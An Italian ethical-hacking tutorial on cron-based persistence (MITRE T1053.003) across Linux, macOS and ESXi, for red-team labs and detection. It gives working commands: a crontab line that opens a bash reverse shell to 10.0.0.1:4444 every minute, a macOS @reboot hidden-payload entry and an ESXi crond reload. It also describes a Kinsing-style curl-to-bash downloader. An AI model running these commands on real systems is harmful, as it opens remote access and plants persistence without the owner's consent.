Job Malevoli su Cron: Scheduled Task/Job – Cron (T1053.003)

Il demone cron è il meccanismo nativo di pianificazione temporale nei sistemi Unix-like: ogni voce nel file crontab definisce un comando e la cadenza con cui eseguirlo, dal minuto singolo al riavvio della macchina. Proprio questa semplicità lo rende uno strumento irresistibile per gli avversari: una riga in un crontab equivale a persistenza garantita, esecuzione periodica e — in determinate configurazioni — escalation di privilegi.

La tecnica copre tre tattiche simultaneamente. In Execution (TA0002) il cron job funge da launcher per codice arbitrario. In Persistence (TA0003) assicura che il payload sopravviva a riavvii e aggiornamenti. In Privilege Escalation (TA0004) entra in gioco quando il job eredita i privilegi dell'utente proprietario del crontab — tipicamente root su sistemi mal configurati o su ambienti ESXi, dove i cron job risiedono direttamente in /var/spool/cron/crontabs/root.

I numeri del catalogo confermano la diffusione: 3 gruppi APT, 12 famiglie malware e 1 campagna documentata fanno uso di questa tecnica. Il panorama spazia dal cryptomining all'accesso persistente su infrastrutture critiche, passando per lo sfruttamento di zero-day su appliance di rete. La trasversalità del vettore — Linux server, workstation macOS, hypervisor ESXi — ne fa una priorità di detection per qualunque SOC che gestisca ambienti eterogenei.

L'abuso di cron è tra le tecniche di persistenza più semplici da simulare in laboratorio, ma la varietà di percorsi e formati crontab richiede attenzione al contesto operativo: un Red Teamer deve adattare la catena d'attacco al sistema target — distribuzione Linux, macOS o ESXi.

Persistenza base su Linux. Il modo più diretto è iniettare una voce nel crontab dell'utente corrente. Il comando classico appende una reverse shell che si attiva ogni minuto:

echo ' * * * * /bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' | crontab -*

Se l'accesso è root, si può scrivere direttamente nel crontab di sistema. Molte distribuzioni leggono i file in /etc/cron.d/, dove basta creare un file con sintassi crontab standard — nessun bisogno di invocare il binario crontab. Questo secondo approccio è più silenzioso perché non genera i log tipici dell'utility interattiva.

Simulazione della catena Kinsing. Per replicare il comportamento di Kinsing, che scarica e rilancia uno script ogni sessanta secondi, si può costruire un cron entry che esegue un downloader minimale con curl e lo pipe in bash. In laboratorio, il C2 può essere un semplice listener HTTP su Cobalt Strike (a pagamento) o Sliver (open source), con uno stager shell che restituisce il payload.

Contesto macOS. Su macOS il demone cron è ancora funzionante, sebbene Apple spinga verso launchd. Un ethical hacker può dimostrare la persistenza via crontab con:

crontab -l 2>/dev/null; echo '@reboot /tmp/.hidden_payload' | crontab -

La variante @reboot è la stessa utilizzata dalla versione Linux di GoldMax e garantisce la riesecuzione ad ogni avvio.

Ambienti ESXi. Su VMware ESXi il crontab si modifica a mano: il file da editare è /var/spool/cron/crontabs/root. Dopo la modifica è necessario segnalare il demone con un reload:

kill -SIGHUP $(cat /var/run/crond.pid)

In un engagement, è utile testare anche la persistenza tramite /etc/rc.local.d/local.sh, spesso abusato insieme a cron per garantire doppia ridondanza.

Per il reporting, Atomic Red Team (open source) del progetto Red Canary offre test atomici per T1053.003 già pronti, con istruzioni di cleanup. Lo strumento pspy (open source) è utile al Blue Team di verifica per osservare l'esecuzione dei cron job senza privilegi root, confermando la riuscita della simulazione.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo